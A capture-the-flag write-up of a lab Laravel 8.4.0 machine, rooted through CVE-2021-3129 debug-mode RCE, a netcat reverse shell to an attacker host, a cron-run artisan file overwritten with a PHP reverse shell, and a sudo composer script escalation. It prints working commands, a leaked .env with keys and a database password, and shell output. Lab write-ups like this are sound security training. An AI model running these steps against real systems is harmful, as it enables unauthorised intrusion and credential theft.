Machine Info

Spoiler
This lab challenges learners to exploit a misconfigured APP_DEBUG setting in a Laravel 8.4.0 application. Using CVE-2021-3129, an unauthenticated Remote Code Execution (RCE) vulnerability in Laravel’s Ignition component, attackers can execute arbitrary code, gain reverse shells, and escalate privileges to root through misconfigurations.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM
Running second nmap scan with open ports: 22,80
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-04 22:14 CET
Nmap scan report for $VICTIM
Host is up (0.024s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template
|_http-server-header: Apache/2.4.56 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Laravel 8.4.0 RCE

We land on this website with no much information going on. Browsing a bit will give the 404 Not Found page which will give us that it is based on Laravel 8.4.0. On the mean time our directory search came back pointing that there is a /login & /register route.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
└─$ ffuf -u http://$VICTIM/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -r

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://$VICTIM/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 114ms]
.htpasswd               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 120ms]
css                     [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 91ms]
favicon.ico             [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 30ms]
home                    [Status: 200, Size: 4916, Words: 2152, Lines: 115, Duration: 80ms]
images                  [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 32ms]
javascript              [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 92ms]
js                      [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 42ms]
login                   [Status: 200, Size: 4916, Words: 2152, Lines: 115, Duration: 162ms]
logout                  [Status: 405, Size: 554444, Words: 23377, Lines: 158, Duration: 90ms]
register                [Status: 200, Size: 4981, Words: 2031, Lines: 116, Duration: 47ms]
robots.txt              [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 94ms]
server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 52ms]
:: Progress: [20481/20481] :: Job [1/1] :: 137 req/sec :: Duration: [0:02:04] :: Errors: 0 ::

After registering a user we come across this screen which basically let us enable debug mode for Laravel.

Looking it up online with the version we found we come across a well known RCE vulnerability for Laravel 8.4.2 and prior and exists when debug mode is on. The vulnerability is listed as CVE-2021-3129.

Tip
There are many public exploits available but I lost hours because I didn’t use this one.

Looking at the exploit code it has some hardcoded values regarding the victim host so we put the correct IP and also enable APP_DEBUG = [ENABLED] on the website.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└└─$ python exploit.py
[*] Try to use monolog_rce1 for exploitation.
[+] PHPGGC found. Generating payload and deploy it to the target
[*] Result:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
skunk:x:1001:1001::/home/skunk:/bin/bash

We have achieved rce! Let’s now change the commands in order to get a reverse shell. We used a simple netcat reverse shell.

1
2
def main():
    Exploit("http://$VICTIM", "nc $ATTCKER 4444 -e /bin/sh")
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ rlwrap nc -lnvp 4444    
listening on [any] 4444 ...
connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 45390
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@debian:/$ ls
ls
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var
www-data@debian:/$ cd home
cd home
www-data@debian:/home$ ls
ls
skunk
www-data@debian:/home$ cd skunk
cd skunk
www-data@debian:/home/skunk$ ls
ls
bash_history  local.txt

That’s how we get local.txt. Just remember the public exploit can be tricky. I messed up for quite some time with the one from ExploitDB and another on from github which were the full path of the log directory for laravel.

Info
CVE-2021-3129 is a Remote Code Execution vulnerability in the Laravel framework which takes advantage of unsafe usage of PHP. This vulnerability and the steps to exploit it follow a similar path to a classic log poisoning attack.

Root

Skunk - PHP

We start we some basic enumeration and we find a MYSQL database and credentials!

1
2
3
4
5
6
7
www-data@debian:/var/www/html$ ss -tlnp
ss -tlnp
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*          
LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
LISTEN 0      128             [::]:22           [::]:*          
LISTEN 0      511                *:80              *:*    
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
www-data@debian:/var/www/html/lavita$ cat .env
cat .env
APP_NAME=LaVita
APP_ENV=local
APP_KEY=base64:zfXJipTpbCyrZHRDpn0/NmdpHTbAl7/hCMf476EP1LU=
APP_DEBUG=true
APP_URL=http://hb02.onsec

LOG_CHANNEL=stack
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=lavita
DB_USERNAME=lavita
DB_PASSWORD=sdfquelw0kly9jgbx92
...

Unfortunately nothing important was on the database. Here we took our time to run different tools such as linpeas and but we didn’t much. We cannot run sudo since there is no password for www-data user and user skunk doesn’t seem to have much exposure. We tried the passwords find with his accounts with no luck. We also checked the sudo version, which wasn’t vulnerable either.

We moved then and run pspy to monitor running processes and maybe we could get something from this.

Info
pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
wget http://$ATTACKER/pspy32 -O pspy32
--2026-03-05 10:16:38--  http://$ATTACKER/pspy32
Connecting to $ATTACKER:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3334296 (3.2M) [application/octet-stream]
Saving to: ‘pspy32’

pspy32              100%[===================>]   3.18M  1.19MB/s    in 2.7s    

2026-03-05 10:16:41 (1.19 MB/s) - ‘pspy32’ saved [3334296/3334296]

www-data@debian:/tmp$ chmod +x pspy32
                      chmod +x pspy32
chmod +x pspy32
www-data@debian:/tmp$ ./pspy32
                      ./pspy32
./pspy32
pspy - version: 1.2.1 - Commit SHA: kali


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/03/05 10:16:52 CMD: UID=33    PID=30145  | ./pspy32 
2026/03/05 10:16:52 CMD: UID=0     PID=30141  | 
2026/03/05 10:16:52 CMD: UID=0     PID=30068  | 
2026/03/05 10:16:52 CMD: UID=0     PID=30056  | 
2026/03/05 10:16:52 CMD: UID=0     PID=29918  | 
2026/03/05 10:16:52 CMD: UID=0     PID=29554  | 
2026/03/05 10:16:52 CMD: UID=33    PID=29360  | /bin/bash 
2026/03/05 10:16:52 CMD: UID=33    PID=29359  | sh -c /bin/bash 
2026/03/05 10:16:52 CMD: UID=33    PID=29358  | script /dev/null -c /bin/bash 
2026/03/05 10:16:52 CMD: UID=0     PID=29256  | 
2026/03/05 10:16:52 CMD: UID=0     PID=29170  | 
2026/03/05 10:16:52 CMD: UID=33    PID=19330  | xxd 
2026/03/05 10:16:52 CMD: UID=33    PID=19329  | dd bs=9000 count=1 
2026/03/05 10:16:52 CMD: UID=33    PID=19320  | bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible" 
2026/03/05 10:16:52 CMD: UID=33    PID=19318  | grep accessible 
2026/03/05 10:16:52 CMD: UID=33    PID=19317  | bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible" 
2026/03/05 10:16:52 CMD: UID=33    PID=19316  | bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible" 
2026/03/05 10:16:52 CMD: UID=33    PID=1809   | /bin/bash 
2026/03/05 10:16:52 CMD: UID=33    PID=1808   | python3 -c import pty;pty.spawn("/bin/bash") 
2026/03/05 10:16:52 CMD: UID=33    PID=1807   | sh 
2026/03/05 10:16:52 CMD: UID=33    PID=1806   | sh -c nc $ATTACKER 4444 -e \/bin\/sh 
2026/03/05 10:16:52 CMD: UID=0     PID=1794   | 
2026/03/05 10:16:52 CMD: UID=33    PID=1267   | grep -R skunk / 
2026/03/05 10:16:52 CMD: UID=33    PID=1150   | /bin/bash 
2026/03/05 10:16:52 CMD: UID=33    PID=1149   | python3 -c import pty;pty.spawn("/bin/bash") 
2026/03/05 10:16:52 CMD: UID=33    PID=1148   | sh 
2026/03/05 10:16:52 CMD: UID=33    PID=1147   | sh -c nc $ATTACKER 4444 -e \/bin\/sh 
2026/03/05 10:16:52 CMD: UID=33    PID=1045   | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=33    PID=1041   | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=33    PID=1040   | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=33    PID=1039   | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=33    PID=1038   | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=33    PID=938    | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=33    PID=937    | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=33    PID=936    | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=33    PID=935    | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=33    PID=934    | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=0     PID=605    | /usr/sbin/apache2 -k start 
2026/03/05 10:16:52 CMD: UID=106   PID=577    | /usr/sbin/mariadbd 
2026/03/05 10:16:52 CMD: UID=0     PID=502    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups                                                                                   
2026/03/05 10:16:52 CMD: UID=0     PID=491    | /sbin/agetty -o -p -- \u --noclear tty1 linux                                                                                             
2026/03/05 10:16:52 CMD: UID=0     PID=477    | /lib/systemd/systemd-logind 
2026/03/05 10:16:52 CMD: UID=0     PID=474    | /usr/sbin/rsyslogd -n -iNONE 
2026/03/05 10:16:52 CMD: UID=103   PID=471    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only                                  
2026/03/05 10:16:52 CMD: UID=0     PID=470    | /usr/sbin/cron -f 
2026/03/05 10:16:52 CMD: UID=0     PID=443    | /usr/bin/vmtoolsd 
2026/03/05 10:16:52 CMD: UID=0     PID=442    | /usr/bin/VGAuthService 
2026/03/05 10:16:52 CMD: UID=104   PID=439    | /lib/systemd/systemd-timesyncd 
...
2026/03/05 10:16:52 CMD: UID=0     PID=1      | /sbin/init 
2026/03/05 10:17:01 CMD: UID=0     PID=30154  | /usr/sbin/CRON -f 
2026/03/05 10:17:01 CMD: UID=0     PID=30153  | /usr/sbin/CRON -f 
2026/03/05 10:17:01 CMD: UID=0     PID=30155  | /usr/sbin/CRON -f 
2026/03/05 10:17:01 CMD: UID=0     PID=30156  | run-parts --report /etc/cron.hourly 
2026/03/05 10:17:01 CMD: UID=0     PID=30157  | /usr/sbin/CRON -f 
2026/03/05 10:17:01 CMD: UID=1001  PID=30158  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures                                                                                  
2026/03/05 10:17:01 CMD: UID=1001  PID=30159  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures                                                                                  
2026/03/05 10:17:01 CMD: UID=1001  PID=30161  | sh -c stty -a | grep columns 
2026/03/05 10:17:01 CMD: UID=1001  PID=30160  | stty -a 
2026/03/05 10:17:01 CMD: UID=1001  PID=30162  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures                                                                                  
2026/03/05 10:17:01 CMD: UID=1001  PID=30164  | sh -c stty -a | grep columns 
2026/03/05 10:17:01 CMD: UID=1001  PID=30163  | stty -a 
2026/03/05 10:17:01 CMD: UID=1001  PID=30165  | sh -c rm -Rf /var/www/html/lavita/public/images/*                                                                                         
2026/03/05 10:17:01 CMD: UID=1001  PID=30166  | 
2026/03/05 10:18:01 CMD: UID=0     PID=30167  | /usr/sbin/CRON -f 
2026/03/05 10:18:01 CMD: UID=0     PID=30168  | /usr/sbin/CRON -f 
2026/03/05 10:18:01 CMD: UID=1001  PID=30169  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures                                                                                  
2026/03/05 10:18:01 CMD: UID=1001  PID=30170  | 
2026/03/05 10:18:01 CMD: UID=1001  PID=30172  | 
2026/03/05 10:18:01 CMD: UID=1001  PID=30171  | sh -c stty -a | grep columns 
2026/03/05 10:18:01 CMD: UID=1001  PID=30173  | 
2026/03/05 10:18:01 CMD: UID=1001  PID=30174  | sh -c stty -a | grep columns 
2026/03/05 10:18:01 CMD: UID=1001  PID=30175  | sh -c stty -a | grep columns 
2026/03/05 10:18:01 CMD: UID=1001  PID=30176  | /usr/bin/php /var/www/html/lavita/artisan clear:pictures                                                                                  
2026/03/05 10:18:01 CMD: UID=1001  PID=30177  | rm -Rf /var/www/html/lavita/public/images/* 

Interestingly enough we spot cron jobs running as user 1001 (skunk). Most interesting one is the /usr/bin/php /var/www/html/lavita/artisan clear:pictures. Looking at the /var/www/html/lavita/artisan we see we as www-data are the owner! Let’s overwrite it with a PHP reverse shell. We used a classic one from PentestMonkey which can be found here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
└─$ rlwrap nc -lnvp 4448    
listening on [any] 4448 ...
connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 59812
Linux debian 5.10.0-25-amd64 #1 SMP Debian 5.10.191-1 (2023-08-16) x86_64 GNU/Linux
 10:35:01 up  2:45,  0 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ bash

id
uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)

We got reverse shell as user skunk! Let’s see what we can do now.

SUDO Composer

Immediatelly we check sudo rights and we are able to run composer as root.

1
2
3
4
5
6
7
8
9
skunk@debian:/$ sudo -l
sudo -l
Matching Defaults entries for skunk on debian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User skunk may run the following commands on debian:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/composer --working-dir\=/var/www/html/lavita *

We can easily abuse this and get a root shell as we see on GTFOBins.

1
2
3
skunk@debian:/var/www/html/lavita$ echo '{"scripts":{"x":"/bin/sh"}}' >composer.json
<$ echo '{"scripts":{"x":"/bin/sh"}}' >composer.json
bash: composer.json: Permission denied

We need to place the composer.json under /var/www/html/lavita and we need user www-data for that.

1
2
3
www-data@debian:/var/www/html/lavita$ echo '{"scripts":{"x":"/bin/sh"}}' >composer.json
<$ echo '{"scripts":{"x":"/bin/sh"}}' >composer.json
www-data@debian:/var/www/html/lavita$ 
1
2
3
4
5
6
7
8
9
skunk@debian:/var/www/html/lavita$ sudo composer --working-dir\=/var/www/html/lavita run-script x
<er --working-dir\=/var/www/html/lavita run-script x
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]? yes
yes
> /bin/sh
# whoami
whoami
root

Root shell achieved!